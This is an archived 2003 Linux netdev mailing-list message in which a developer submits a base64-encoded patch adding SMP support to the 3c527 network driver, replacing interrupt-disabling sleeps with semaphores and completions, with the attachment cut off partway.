[202.0.32.210]) by linda-1.paradise.net.nz (Paradise.net.nz) with ESMTP id <0HLP00HIXG79NP@linda-1.paradise.net.nz> for netdev@oss.sgi.com; Wed, 24 Sep 2003 18:18:45 +1200 (NZST) Received: from ps2.local (203-79-92-141.cable.paradise.net.nz [203.79.92.141]) by smtp-1.paradise.net.nz (Postfix) with SMTP id 2029C827AC for ; Wed, 24 Sep 2003 18:18:34 +1200 (NZST) Received: (qmail 5788 invoked by uid 501); Wed, 24 Sep 2003 06:18:33 +0000 Date: Wed, 24 Sep 2003 18:18:32 +1200 (NZST) From: Richard Procter Subject: Re: [PATCH] SMP support on 3c527 net driver for 2.6 X-Sender: rix@ps2.local. To: Andrew Morton , Jeff Garzik Cc: Felipe W Damasio , netdev@oss.sgi.com, linux-net@vger.kernel.org Message-id: Content-id: MIME-version: 1.0 Content-type: MULTIPART/Mixed; BOUNDARY="-1463810815-1993206058-1063827368=:967" X-archive-position: 197 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: rnp@paradise.net.nz Precedence: bulk X-list: netdev Content-Length: 32703 Lines: 581 This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. ---1463810815-1993206058-1063827368=:967 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-ID: Hi Guys, This patch against 2.6-test4 updates the 3c527 net driver for 2.6. It is tested, but only as a back-port to 2.4, as I was unable to get my scsi driver booting on 2.6. It also includes a number of trivial clean-ups. If you would prefer it broken into pieces, please ask. best regards, Richard. Questions: - { u16 x; [...] x=5; } Is that x=5 atomic on SMP? - Is atomic_t atomic on SMP? I'm pretty sure both are ok, but it'll need some more work if not. Changes: * Replaces sti/sleep_on/cli with semaphores+completions. This made me realise I could get rid of the state-machine, simplifying the code. It also meant avoiding having to do things like: while (state != state_wanted) { /* Manually Sleep */ } , because we give each state_wanted a separate semaphore/completion. Also, the above, inlined, increased mc32_command by 770% (438% non-inlined) over the semaphore version (at a cost of 1 sem + 2 completions per driver). * Removed mutex covering mc32_send_packet (hard_start_xmit). This lets the interrupt handler operate concurrently and removes unnecessary locking. It makes the code only slightly more brittle. Here is why I believe it works: - hard_start_xmit is serialised at a higher layer, so no reentrancy problems. - Other than tx_count and tx_ring_head, the interrupt handler will not touch the data structures being modified until we increment tx_ring_head to reveal the new queue entry. - This leaves tx_count and tx_ring_head. tx_count is atomic_t, so can be modified by both mc32_tx_ring() and mc32_send_packet without racing. mc32_send_packet is the only function to modify u16 tx_ring_head, and tx_ring_head=head; will execute atomically with respect to reads by the rest of the driver (line 1056). PS. Would be interesting to generalise completions: whereas semaphores allow us to Wait() x times without blocking, allow a completion to Complete() x times without waking? This would help with situations where multiple independent events had to occur before the thing you were waiting for could be considered complete (eg, in the driver, where you issue separate commands to halt the tx and rx, and only want to wake when the transceiver as a whole has stopped). ---1463810815-1993206058-1063827368=:967 Content-Type: TEXT/PLAIN; charset=US-ASCII; name="3c527_0.7.SMP.patch" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="3c527_0.7.SMP.patch" LS0tIGRyaXZlcnMvbmV0LzNjNTI3LmMub3JpZwkyMDAzLTA5LTAzIDE3OjI4 OjQyLjAwMDAwMDAwMCArMTIwMA0KKysrIGRyaXZlcnMvbmV0LzNjNTI3LmMJ MjAwMy0wOS0yNCAxNzo0MzowMy4wMDAwMDAwMDAgKzEyMDANCkBAIC0xLDkg KzEsMTAgQEANCi0vKiAzYzUyNy5jOiAzQ29tIEV0aGVybGluay9NQzMyIGRy aXZlciBmb3IgTGludXggMi40DQorLyogM2M1MjcuYzogM0NvbSBFdGhlcmxp bmsvTUMzMiBkcml2ZXIgZm9yIExpbnV4IDIuNCBhbmQgMi42LiANCiAgKg0K ICAqCShjKSBDb3B5cmlnaHQgMTk5OCBSZWQgSGF0IFNvZnR3YXJlIEluYw0K ICAqCVdyaXR0ZW4gYnkgQWxhbiBDb3guIA0KICAqCUZ1cnRoZXIgZGVidWdn aW5nIGJ5IENhcmwgRHJvdWdnZS4NCi0gKiAgICAgIE1vZGlmaWVkIGJ5IFJp Y2hhcmQgUHJvY3RlciAocm5wQG5ldGxpbmsuY28ubnopDQorICogICAgICBJ bml0aWFsIFNNUCBzdXBwb3J0IGJ5IEZlbGlwZSBXIERhbWFzaW8gPGZlbGlw ZXdkQHRlcnJhLmNvbS5icj4NCisgKiAgICAgIEhlYXZpbHkgbW9kaWZpZWQg YnkgUmljaGFyZCBQcm9jdGVyIDxybnBAcGFyYWRpc2UubmV0Lm56Pg0KICAq DQogICoJQmFzZWQgb24gc2tlbGV0b24uYyB3cml0dGVuIDE5OTMtOTQgYnkg RG9uYWxkIEJlY2tlciBhbmQgbmUyLmMNCiAgKgkoZm9yIHRoZSBNQ0Egc3R1 ZmYpIHdyaXR0ZW4gYnkgV2ltIER1bW9uLg0KQEAgLTE3LDExICsxOCwxMSBA QA0KICAqLw0KIA0KICNkZWZpbmUgRFJWX05BTUUJCSIzYzUyNyINCi0jZGVm aW5lIERSVl9WRVJTSU9OCQkiMC42YSINCi0jZGVmaW5lIERSVl9SRUxEQVRF CQkiMjAwMS8xMS8xNyINCisjZGVmaW5lIERSVl9WRVJTSU9OCQkiMC43LVNN UCINCisjZGVmaW5lIERSVl9SRUxEQVRFCQkiMjAwMy8wOS8xNyINCiANCiBz dGF0aWMgY29uc3QgY2hhciAqdmVyc2lvbiA9DQotRFJWX05BTUUgIi5jOnYi IERSVl9WRVJTSU9OICIgIiBEUlZfUkVMREFURSAiIFJpY2hhcmQgUHJvY3Rv ciAocm5wQG5ldGxpbmsuY28ubnopXG4iOw0KK0RSVl9OQU1FICIuYzp2IiBE UlZfVkVSU0lPTiAiICIgRFJWX1JFTERBVEUgIiBSaWNoYXJkIFByb2N0ZXIg PHJucEBwYXJhZGlzZS5uZXQubno+XG4iOw0KIA0KIC8qKg0KICAqIERPQzog VHJhcHMgZm9yIHRoZSB1bndhcnkNCkBAIC0xMDAsNyArMTAxLDkgQEANCiAj aW5jbHVkZSA8bGludXgvc3RyaW5nLmg+DQogI2luY2x1ZGUgPGxpbnV4L3dh aXQuaD4NCiAjaW5jbHVkZSA8bGludXgvZXRodG9vbC5oPg0KKyNpbmNsdWRl IDxsaW51eC9jb21wbGV0aW9uLmg+IA0KIA0KKyNpbmNsdWRlIDxhc20vc2Vt YXBob3JlLmg+IA0KICNpbmNsdWRlIDxhc20vdWFjY2Vzcy5oPg0KICNpbmNs dWRlIDxhc20vc3lzdGVtLmg+DQogI2luY2x1ZGUgPGFzbS9iaXRvcHMuaD4N CkBAIC0xNDEsMTkgKzE0NCwxOSBAQA0KIHN0YXRpYyBjb25zdCBpbnQgV09S S0FST1VORF84MjU4Nj0xOw0KIA0KIC8qIFBvaW50ZXJzIHRvIGJ1ZmZlcnMg YW5kIHRoZWlyIG9uLWNhcmQgcmVjb3JkcyAqLw0KLQ0KIHN0cnVjdCBtYzMy X3JpbmdfZGVzYyANCiB7DQogCXZvbGF0aWxlIHN0cnVjdCBza2JfaGVhZGVy ICpwOyAgICAgICAgICAgICAgICAgICAgDQogCXN0cnVjdCBza19idWZmICpz a2I7ICAgICAgICAgIA0KIH07DQogDQotDQogLyogSW5mb3JtYXRpb24gdGhh dCBuZWVkcyB0byBiZSBrZXB0IGZvciBlYWNoIGJvYXJkLiAqLw0KIHN0cnVj dCBtYzMyX2xvY2FsIA0KIHsNCi0Jc3RydWN0IG5ldF9kZXZpY2Vfc3RhdHMg bmV0X3N0YXRzOw0KIAlpbnQgc2xvdDsNCisNCisJdTMyIGJhc2U7DQorCXN0 cnVjdCBuZXRfZGV2aWNlX3N0YXRzIG5ldF9zdGF0czsNCiAJdm9sYXRpbGUg c3RydWN0IG1jMzJfbWFpbGJveCAqcnhfYm94Ow0KIAl2b2xhdGlsZSBzdHJ1 Y3QgbWMzMl9tYWlsYm94ICp0eF9ib3g7DQogCXZvbGF0aWxlIHN0cnVjdCBt YzMyX21haWxib3ggKmV4ZWNfYm94Ow0KQEAgLTE2MywyMiArMTY2LDIzIEBA DQogICAgICAgICB1MTYgdHhfbGVuOyAgICAgICAgICAgICAvKiBUcmFuc21p dCBsaXN0IGNvdW50ICovIA0KICAgICAgICAgdTE2IHJ4X2xlbjsgICAgICAg ICAgICAgLyogUmVjZWl2ZSBsaXN0IGNvdW50ICovDQogDQotCXUzMiBiYXNl Ow0KLQl1MTYgZXhlY19wZW5kaW5nOw0KLQl1MTYgbWNfcmVsb2FkX3dhaXQ7 CS8qIGEgbXVsdGljYXN0IGxvYWQgcmVxdWVzdCBpcyBwZW5kaW5nICovDQor CXUxNiB4Y2VpdmVyX2Rlc2lyZWRfc3RhdGU7IC8qIEhBTFRFRCBvciBSVU5O SU5HICovIA0KKwl1MTYgY21kX25vbmJsb2NraW5nOyAgICAvKiBUaHJlYWQg aXMgdW5pbnRlcmVzdGVkIGluIGNvbW1hbmQgcmVzdWx0ICovIA0KKwl1MTYg bWNfcmVsb2FkX3dhaXQ7CS8qIEEgbXVsdGljYXN0IGxvYWQgcmVxdWVzdCBp cyBwZW5kaW5nICovDQogCXUzMiBtY19saXN0X3ZhbGlkOwkvKiBUcnVlIHdo ZW4gdGhlIG1jbGlzdCBpcyBzZXQgKi8NCi0JdTE2IHhjZWl2ZXJfc3RhdGU7 ICAgICAgLyogQ3VycmVudCB0cmFuc2NlaXZlciBzdGF0ZS4gYml0bWFwcGVk ICovIA0KLQl1MTYgZGVzaXJlZF9zdGF0ZTsgICAgICAvKiBUaGUgc3RhdGUg d2Ugd2FudCB0aGUgdHJhbnNjZWl2ZXIgdG8gYmUgaW4gKi8gDQotCWF0b21p Y190IHR4X2NvdW50OwkvKiBidWZmZXJzIGxlZnQgKi8NCi0Jd2FpdF9xdWV1 ZV9oZWFkX3QgZXZlbnQ7DQogDQogCXN0cnVjdCBtYzMyX3JpbmdfZGVzYyB0 eF9yaW5nW1RYX1JJTkdfTEVOXTsJLyogSG9zdCBUcmFuc21pdCByaW5nICov DQogCXN0cnVjdCBtYzMyX3JpbmdfZGVzYyByeF9yaW5nW1JYX1JJTkdfTEVO XTsJLyogSG9zdCBSZWNlaXZlIHJpbmcgKi8NCiANCi0JdTE2IHR4X3Jpbmdf dGFpbDsgICAgICAgLyogaW5kZXggdG8gdHggZGUtcXVldWUgZW5kICovDQot CXUxNiB0eF9yaW5nX2hlYWQ7ICAgICAgIC8qIGluZGV4IHRvIHR4IGVuLXF1 ZXVlIGVuZCAqLw0KKwlhdG9taWNfdCB0eF9jb3VudDsJLyogYnVmZmVycyBs ZWZ0ICovDQorCXZvbGF0aWxlIHUxNiB0eF9yaW5nX2hlYWQ7IC8qIGluZGV4 IHRvIHR4IGVuLXF1ZXVlIGVuZCAqLw0KKwl1MTYgdHhfcmluZ190YWlsOyAg ICAgICAgICAvKiBpbmRleCB0byB0eCBkZS1xdWV1ZSBlbmQgKi8NCiANCiAJ dTE2IHJ4X3JpbmdfdGFpbDsgICAgICAgLyogaW5kZXggdG8gcnggZGUtcXVl dWUgZW5kICovIA0KKw0KKwlzdHJ1Y3Qgc2VtYXBob3JlIGNtZF9tdXRleDsg ICAgLyogU2VyaWFsaXNlcyBpc3N1aW5nIG9mIGV4ZWN1dGUgY29tbWFuZHMg Ki8gDQorICAgICAgICBzdHJ1Y3QgY29tcGxldGlvbiBleGVjdXRpb25fY21k OyAvKiBDYXJkIGhhcyBjb21wbGV0ZWQgYW4gZXhlY3V0ZSBjb21tYW5kICov IA0KKwlzdHJ1Y3QgY29tcGxldGlvbiB4Y2VpdmVyX2NtZDsgICAvKiBDYXJk IGhhcyBjb21wbGV0ZWQgYSB0eCBvciByeCBjb21tYW5kICovICAgDQogfTsN CiANCiAvKiBUaGUgc3RhdGlvbiAoZXRoZXJuZXQpIGFkZHJlc3MgcHJlZml4 LCB1c2VkIGZvciBhIHNhbml0eSBjaGVjay4gKi8NCkBAIC0yMzQsNyArMjM4 LDYgQEANCiB7DQogCXN0YXRpYyBpbnQgY3VycmVudF9tY2Ffc2xvdCA9IC0x Ow0KIAlpbnQgaTsNCi0JaW50IGFkYXB0ZXJfZm91bmQgPSAwOw0KIA0KIAlT RVRfTU9EVUxFX09XTkVSKGRldik7DQogDQpAQCAtMjQ1LDExICsyNDgsMTEg QEANCiAJICAgQXV0b2RldGVjdGluZyBNQ0EgY2FyZHMgaXMgZXh0cmVtZWx5 IHNpbXBsZS4gDQogCSAgIEp1c3Qgc2VhcmNoIGZvciB0aGUgY2FyZC4gKi8N CiANCi0JZm9yKGkgPSAwOyAobWMzMl9hZGFwdGVyc1tpXS5uYW1lICE9IE5V TEwpICYmICFhZGFwdGVyX2ZvdW5kOyBpKyspIHsNCisJZm9yKGkgPSAwOyAo bWMzMl9hZGFwdGVyc1tpXS5uYW1lICE9IE5VTEwpOyBpKyspIHsNCiAJCWN1 cnJlbnRfbWNhX3Nsb3QgPSANCiAJCQltY2FfZmluZF91bnVzZWRfYWRhcHRl cihtYzMyX2FkYXB0ZXJzW2ldLmlkLCAwKTsNCiANCi0JCWlmKChjdXJyZW50 X21jYV9zbG90ICE9IE1DQV9OT1RGT1VORCkgJiYgIWFkYXB0ZXJfZm91bmQp IHsNCisJCWlmKGN1cnJlbnRfbWNhX3Nsb3QgIT0gTUNBX05PVEZPVU5EKSB7 DQogCQkJaWYoIW1jMzJfcHJvYmUxKGRldiwgY3VycmVudF9tY2Ffc2xvdCkp DQogCQkJew0KIAkJCQltY2Ffc2V0X2FkYXB0ZXJfbmFtZShjdXJyZW50X21j YV9zbG90LCANCkBAIC00MDcsNyArNDEwLDcgQEANCiAJICoJR3JhYiB0aGUg SVJRDQogCSAqLw0KIA0KLQlpID0gcmVxdWVzdF9pcnEoZGV2LT5pcnEsICZt YzMyX2ludGVycnVwdCwgU0FfU0hJUlEsIGRldi0+bmFtZSwgZGV2KTsNCisJ aSA9IHJlcXVlc3RfaXJxKGRldi0+aXJxLCAmbWMzMl9pbnRlcnJ1cHQsIFNB X1NISVJRIHwgU0FfU0FNUExFX1JBTkRPTSwgZGV2LT5uYW1lLCBkZXYpOw0K IAlpZiAoaSkgew0KIAkJcmVsZWFzZV9yZWdpb24oZGV2LT5iYXNlX2FkZHIs IE1DMzJfSU9fRVhURU5UKTsNCiAJCXByaW50ayhLRVJOX0VSUiAiJXM6IHVu YWJsZSB0byBnZXQgSVJRICVkLlxuIiwgZGV2LT5uYW1lLCBkZXYtPmlycSk7 DQpAQCAtNDk2LDcgKzQ5OSw5IEBADQogCWxwLT50eF9sZW4gCQk9IGxwLT5l eGVjX2JveC0+ZGF0YVs5XTsgICAvKiBUcmFuc21pdCBsaXN0IGNvdW50ICov IA0KIAlscC0+cnhfbGVuIAkJPSBscC0+ZXhlY19ib3gtPmRhdGFbMTFdOyAg LyogUmVjZWl2ZSBsaXN0IGNvdW50ICovDQogDQotCWluaXRfd2FpdHF1ZXVl X2hlYWQoJmxwLT5ldmVudCk7DQorCWluaXRfTVVURVhfTE9DS0VEKCZscC0+ Y21kX211dGV4KTsgDQorCWluaXRfY29tcGxldGlvbigmbHAtPmV4ZWN1dGlv bl9jbWQpOyANCisJaW5pdF9jb21wbGV0aW9uKCZscC0+eGNlaXZlcl9jbWQp OyANCiAJDQogCXByaW50aygiJXM6IEZpcm13YXJlIFJldiAlZC4gJWQgUlgg YnVmZmVycywgJWQgVFggYnVmZmVycy4gQmFzZSBvZiAweCUwOFguXG4iLA0K IAkJZGV2LT5uYW1lLCBscC0+ZXhlY19ib3gtPmRhdGFbMTJdLCBscC0+cnhf bGVuLCBscC0+dHhfbGVuLCBscC0+YmFzZSk7DQpAQCAtNTA5LDEwICs1MTQs NiBAQA0KIAlkZXYtPnR4X3RpbWVvdXQJCT0gbWMzMl90aW1lb3V0Ow0KIAlk ZXYtPndhdGNoZG9nX3RpbWVvCT0gSFoqNTsJLyogQm9hcmQgZG9lcyBhbGwg dGhlIHdvcmsgKi8NCiAJZGV2LT5kb19pb2N0bAkJPSBuZXRkZXZfaW9jdGw7 DQotCQ0KLQlscC0+eGNlaXZlcl9zdGF0ZSA9IEhBTFRFRDsgDQotCQ0KLQls cC0+dHhfcmluZ190YWlsPWxwLT50eF9yaW5nX2hlYWQ9MDsNCiANCiAJLyog RmlsbCBpbiB0aGUgZmllbGRzIG9mIHRoZSBkZXZpY2Ugc3RydWN0dXJlIHdp dGggZXRoZXJuZXQgdmFsdWVzLiAqLw0KIAlldGhlcl9zZXR1cChkZXYpOw0K QEAgLTUzNyw3ICs1MzgsNyBAQA0KICAqCXN0YXR1cyBvZiBhbnkgcGVuZGlu ZyBjb21tYW5kcyBhbmQgdGFrZXMgdmVyeSBsaXR0bGUgdGltZSBhdCBhbGwu DQogICovDQogIA0KLXN0YXRpYyB2b2lkIG1jMzJfcmVhZHlfcG9sbChzdHJ1 Y3QgbmV0X2RldmljZSAqZGV2KQ0KK3N0YXRpYyBpbmxpbmUgdm9pZCBtYzMy X3JlYWR5X3BvbGwoc3RydWN0IG5ldF9kZXZpY2UgKmRldikNCiB7DQogCWlu dCBpb2FkZHIgPSBkZXYtPmJhc2VfYWRkcjsNCiAJd2hpbGUoIShpbmIoaW9h ZGRyK0hPU1RfU1RBVFVTKSZIT1NUX1NUQVRVU19DUlIpKTsNCkBAIC01NTIs MzEgKzU1MywzOCBAQA0KICAqCUBsZW46IExlbmd0aCBvZiB0aGUgZGF0YSBi bG9jaw0KICAqDQogICoJU2VuZCBhIGNvbW1hbmQgZnJvbSBpbnRlcnJ1cHQg c3RhdGUuIElmIHRoZXJlIGlzIGEgY29tbWFuZA0KLSAqCWN1cnJlbnRseSBi ZWluZyBleGVjdXRlZCB0aGVuIHdlIHJldHVybiBhbiBlcnJvciBvZiAtMS4g SXQgc2ltcGx5DQotICoJaXNuJ3QgdmlhYmxlIHRvIHdhaXQgYXJvdW5kIGFz IGNvbW1hbmRzIG1heSBiZSBzbG93LiBQcm92aWRpbmcgd2UNCi0gKglnZXQg aW4sIHdlIGJ1c3kgd2FpdCBmb3IgdGhlIGJvYXJkIHRvIGJlY29tZSByZWFk eSB0byBhY2NlcHQgdGhlDQotICoJY29tbWFuZCBhbmQgaXNzdWUgaXQuIFdl IGRvIG5vdCB3YWl0IGZvciB0aGUgY29tbWFuZCB0byBjb21wbGV0ZQ0KLSAq CS0tLSB0aGUgY2FyZCB3aWxsIGludGVycnVwdCB1cyB3aGVuIGl0J3MgZG9u ZS4NCisgKgljdXJyZW50bHkgYmVpbmcgZXhlY3V0ZWQgdGhlbiB3ZSByZXR1 cm4gYW4gZXJyb3Igb2YgLTEuIEl0DQorICoJc2ltcGx5IGlzbid0IHZpYWJs ZSB0byB3YWl0IGFyb3VuZCBhcyBjb21tYW5kcyBtYXkgYmUNCisgKglzbG93 LiBUaGlzIGNhbiB0aGVvcmV0aWNhbGx5IGJlIHN0YXJ2ZWQgb24gU01QLCBi dXQgaXQncyBoYXJkDQorICoJdG8gc2VlIGEgcmVhbGlzdGljIHNpdHVhdGlv bi4gIFdlIGRvIG5vdCB3YWl0IGZvciB0aGUgY29tbWFuZA0KKyAqCXRvIGNv bXBsZXRlIC0tLSB3ZSByZWx5IG9uIHRoZSBpbnRlcnJ1cHQgaGFuZGxlciB0 byB0aWR5IHVwDQorICoJYWZ0ZXIgdXMuICANCiAgKi8NCiANCiBzdGF0aWMg aW50IG1jMzJfY29tbWFuZF9ub3dhaXQoc3RydWN0IG5ldF9kZXZpY2UgKmRl diwgdTE2IGNtZCwgdm9pZCAqZGF0YSwgaW50IGxlbikNCiB7DQogCXN0cnVj dCBtYzMyX2xvY2FsICpscCA9IChzdHJ1Y3QgbWMzMl9sb2NhbCAqKWRldi0+ cHJpdjsNCiAJaW50IGlvYWRkciA9IGRldi0+YmFzZV9hZGRyOw0KKwlpbnQg cmV0ID0gLTE7IA0KIA0KLQlpZihscC0+ZXhlY19wZW5kaW5nKQ0KLQkJcmV0 dXJuIC0xOw0KLQkNCi0JbHAtPmV4ZWNfcGVuZGluZz0zOw0KLQlscC0+ZXhl Y19ib3gtPm1ib3g9MDsNCi0JbHAtPmV4ZWNfYm94LT5tYm94PWNtZDsNCi0J bWVtY3B5KCh2b2lkICopbHAtPmV4ZWNfYm94LT5kYXRhLCBkYXRhLCBsZW4p Ow0KLQliYXJyaWVyKCk7CS8qIHRoZSBtZW1jcHkgZm9yZ290IHRoZSB2b2xh dGlsZSBzbyBiZSBzdXJlICovDQorCWlmIChkb3duX3RyeWxvY2soJmxwLT5j bWRfbXV0ZXgpID09IDApIA0KKwl7IA0KKwkJbHAtPmNtZF9ub25ibG9ja2lu Zz0xOyANCisJCWxwLT5leGVjX2JveC0+bWJveD0wOw0KKwkJbHAtPmV4ZWNf Ym94LT5tYm94PWNtZDsNCisJCW1lbWNweSgodm9pZCAqKWxwLT5leGVjX2Jv eC0+ZGF0YSwgZGF0YSwgbGVuKTsNCisJCWJhcnJpZXIoKTsJLyogdGhlIG1l bWNweSBmb3Jnb3QgdGhlIHZvbGF0aWxlIHNvIGJlIHN1cmUgKi8NCisJCQ0K KwkJLyogU2VuZCB0aGUgY29tbWFuZCAqLw0KKwkJbWMzMl9yZWFkeV9wb2xs KGRldik7IA0KKwkJb3V0YigxPDw2LCBpb2FkZHIrSE9TVF9DTUQpOwkNCisJ CQ0KKwkJcmV0ID0gMDsgDQogDQotCS8qIFNlbmQgdGhlIGNvbW1hbmQgKi8N Ci0Jd2hpbGUoIShpbmIoaW9hZGRyK0hPU1RfU1RBVFVTKSZIT1NUX1NUQVRV U19DUlIpKTsNCi0Jb3V0YigxPDw2LCBpb2FkZHIrSE9TVF9DTUQpOwkNCi0J cmV0dXJuIDA7DQorCQkvKiBJbnRlcnJ1cHQgaGFuZGxlciB3aWxsIHNpZ25h bCBtdXRleCBvbiBjb21wbGV0aW9uICovIA0KKwl9IA0KKw0KKwlyZXR1cm4g cmV0OyANCiB9DQogDQogDQpAQCAtNTkwLDc2ICs1OTgsNDcgQEANCiAgKglT ZW5kcyBleGVjIGNvbW1hbmRzIGluIGEgdXNlciBjb250ZXh0LiBUaGlzIHBl cm1pdHMgdXMgdG8gd2FpdCBhcm91bmQNCiAgKglmb3IgdGhlIHJlcGxpZXMg YW5kIGFsc28gdG8gd2FpdCBmb3IgdGhlIGNvbW1hbmQgYnVmZmVyIHRvIGNv bXBsZXRlDQogICoJZnJvbSBhIHByZXZpb3VzIGNvbW1hbmQgYmVmb3JlIHdl IGV4ZWN1dGUgb3VyIGNvbW1hbmQuIEFmdGVyIG91ciANCi0gKgljb21tYW5k IGNvbXBsZXRlcyB3ZSB3aWxsIGNvbXBsZXRlIGFueSBwZW5kaW5nIG11bHRp Y2FzdCByZWxvYWQNCisgKgljb21tYW5kIGNvbXBsZXRlcyB3ZSB3aWxsIGF0 dGVtcHQgYW55IHBlbmRpbmcgbXVsdGljYXN0IHJlbG9hZA0KICAqCXdlIGJs b2NrZWQgb2ZmIGJ5IGhvZ2dpbmcgdGhlIGV4ZWMgYnVmZmVyLg0KICAqDQog ICoJWW91IGZlZWQgdGhlIGNhcmQgYSBjb21tYW5kLCB5b3Ugd2FpdCwgaXQg aW50ZXJydXB0cyB5b3UgZ2V0IGEgDQogICoJcmVwbHkuIEFsbCB3ZWxsIGFu ZCBnb29kLiBUaGUgY29tcGxpY2F0aW9uIGFyaXNlcyBiZWNhdXNlIHlvdSB1 c2UNCiAgKgljb21tYW5kcyBmb3IgZmlsdGVyIGxpc3QgY2hhbmdlcyB3aGlj aCBjb21lIGluIGF0IGJoIGxldmVsIGZyb20gdGhpbmdzDQogICoJbGlrZSBJ UFY2IGdyb3VwIHN0dWZmLg0KLSAqDQotICoJV2UgaGF2ZSBhIHNpbXBsZSBz dGF0ZSBtYWNoaW5lDQotICoNCi0gKgkwCS0gbm90aGluZyBpc3N1ZWQNCi0g Kg0KLSAqCTEJLSBjb21tYW5kIGlzc3VlZCwgd2FpdCByZXBseQ0KLSAqDQot ICoJMgktIHJlcGx5IHdhaXRpbmcgLSByZWFkZXIgdGhlbiBnb2VzIHRvIHN0 YXRlIDANCi0gKg0KLSAqCTMJLSBjb21tYW5kIGlzc3VlZCwgdHJhc2ggcmVw bHkuIEluIHdoaWNoIGNhc2UgdGhlIGlycQ0KLSAqCQkgIHRha2VzIGl0IGJh Y2sgdG8gc3RhdGUgMA0KLSAqDQogICovDQogICANCiBzdGF0aWMgaW50IG1j MzJfY29tbWFuZChzdHJ1Y3QgbmV0X2RldmljZSAqZGV2LCB1MTYgY21kLCB2 b2lkICpkYXRhLCBpbnQgbGVuKQ0KIHsNCiAJc3RydWN0IG1jMzJfbG9jYWwg KmxwID0gKHN0cnVjdCBtYzMyX2xvY2FsICopZGV2LT5wcml2Ow0KIAlpbnQg aW9hZGRyID0gZGV2LT5iYXNlX2FkZHI7DQotCXVuc2lnbmVkIGxvbmcgZmxh Z3M7DQogCWludCByZXQgPSAwOw0KIAkNCisJZG93bigmbHAtPmNtZF9tdXRl eCk7IA0KKwkNCiAJLyoNCi0JICoJV2FpdCBmb3IgYSBjb21tYW5kDQotCSAq Lw0KLQkgDQotCXNhdmVfZmxhZ3MoZmxhZ3MpOw0KLQljbGkoKTsNCi0JIA0K LQl3aGlsZShscC0+ZXhlY19wZW5kaW5nKQ0KLQkJc2xlZXBfb24oJmxwLT5l dmVudCk7DQotCQkNCi0JLyoNCi0JICoJSXNzdWUgbWluZQ0KKwkgKiAgICAg TXkgVHVybiANCiAJICovDQogDQotCWxwLT5leGVjX3BlbmRpbmc9MTsNCi0J DQotCXJlc3RvcmVfZmxhZ3MoZmxhZ3MpOw0KLQkNCisJbHAtPmNtZF9ub25i bG9ja2luZz0wOyANCiAJbHAtPmV4ZWNfYm94LT5tYm94PTA7DQogCWxwLT5l eGVjX2JveC0+bWJveD1jbWQ7DQogCW1lbWNweSgodm9pZCAqKWxwLT5leGVj X2JveC0+ZGF0YSwgZGF0YSwgbGVuKTsNCiAJYmFycmllcigpOwkvKiB0aGUg bWVtY3B5IGZvcmdvdCB0aGUgdm9sYXRpbGUgc28gYmUgc3VyZSAqLw0KIA0K LQkvKiBTZW5kIHRoZSBjb21tYW5kICovDQotCXdoaWxlKCEoaW5iKGlvYWRk citIT1NUX1NUQVRVUykmSE9TVF9TVEFUVVNfQ1JSKSk7DQotCW91dGIoMTw8 NiwgaW9hZGRyK0hPU1RfQ01EKTsJDQotDQotCXNhdmVfZmxhZ3MoZmxhZ3Mp Ow0KLQljbGkoKTsNCisJbWMzMl9yZWFkeV9wb2xsKGRldik7IA0KKwlvdXRi KDE8PDYsIGlvYWRkcitIT1NUX0NNRCk7CQkNCiANCi0Jd2hpbGUobHAtPmV4 ZWNfcGVuZGluZyE9MikNCi0JCXNsZWVwX29uKCZscC0+ZXZlbnQpOw0KLQls cC0+ZXhlY19wZW5kaW5nPTA7DQotCXJlc3RvcmVfZmxhZ3MoZmxhZ3MpOw0K Kwl3YWl0X2Zvcl9jb21wbGV0aW9uKCZscC0+ZXhlY3V0aW9uX2NtZCk7IA0K IAkNCiAJaWYobHAtPmV4ZWNfYm94LT5tYm94JigxPDwxMykpDQogCQlyZXQg PSAtMTsNCiANCisJdXAoJmxwLT5jbWRfbXV0ZXgpOyANCisNCiAJLyoNCi0J ICoJQSBtdWx0aWNhc3Qgc2V0IGdvdCBibG9ja2VkIC0gZG8gaXQgbm93DQot CSAqLw0KLQkJDQorCSAqCUEgbXVsdGljYXN0IHNldCBnb3QgYmxvY2tlZCAt IHRyeSBpdCBub3cNCisgICAgICAgICAqLyANCisJCQkNCiAJaWYobHAtPm1j X3JlbG9hZF93YWl0KQ0KIAl7DQogCQltYzMyX3Jlc2V0X211bHRpY2FzdF9s aXN0KGRldik7DQpAQCAtNjc2LDExICs2NTUsOSBAQA0KICAqCVRoaXMgbWF5 IGJlIGNhbGxlZCBmcm9tIHRoZSBpbnRlcnJ1cHQgc3RhdGUsIHdoZXJlIGl0 IGlzIHVzZWQNCiAgKgl0byByZXN0YXJ0IHRoZSByeCByaW5nIGlmIHRoZSBj YXJkIHJ1bnMgb3V0IG9mIHJ4IGJ1ZmZlcnMuIA0KICAqCQ0KLSAqIAlGaXJz dCwgd2UgY2hlY2sgaWYgaXQncyBvayB0byBzdGFydCB0aGUgdHJhbnNjZWl2 ZXIuIFdlIHRoZW4gc2hvdw0KLSAqIAl0aGUgY2FyZCB3aGVyZSB0byBzdGFy dCBpbiB0aGUgcnggcmluZyBhbmQgaXNzdWUgdGhlDQotICogCWNvbW1hbmRz IHRvIHN0YXJ0IHJlY2VwdGlvbiBhbmQgdHJhbnNtaXNzaW9uLiBXZSBkb24n dCB3YWl0DQotICogCWFyb3VuZCBmb3IgdGhlc2UgdG8gY29tcGxldGUuDQot ICovIA0KKyAqIAlXZSBtdXN0IGZpcnN0IGNoZWNrIGlmIGl0J3Mgb2sgdG8g KHJlKXN0YXJ0IHRoZSB0cmFuc2NlaXZlci4gU2VlIA0KKyAqICAgICAgbWMz Ml9jbG9zZSBmb3IgZGV0YWlscy4gDQorICovDQogDQogc3RhdGljIHZvaWQg bWMzMl9zdGFydF90cmFuc2NlaXZlcihzdHJ1Y3QgbmV0X2RldmljZSAqZGV2 KSB7DQogDQpAQCAtNjg4LDI0ICs2NjUsMjAgQEANCiAJaW50IGlvYWRkciA9 IGRldi0+YmFzZV9hZGRyOw0KIA0KIAkvKiBJZ25vcmUgUlggb3ZlcmZsb3cg b24gZGV2aWNlIGNsb3N1cmUgKi8gDQotCWlmIChscC0+ZGVzaXJlZF9zdGF0 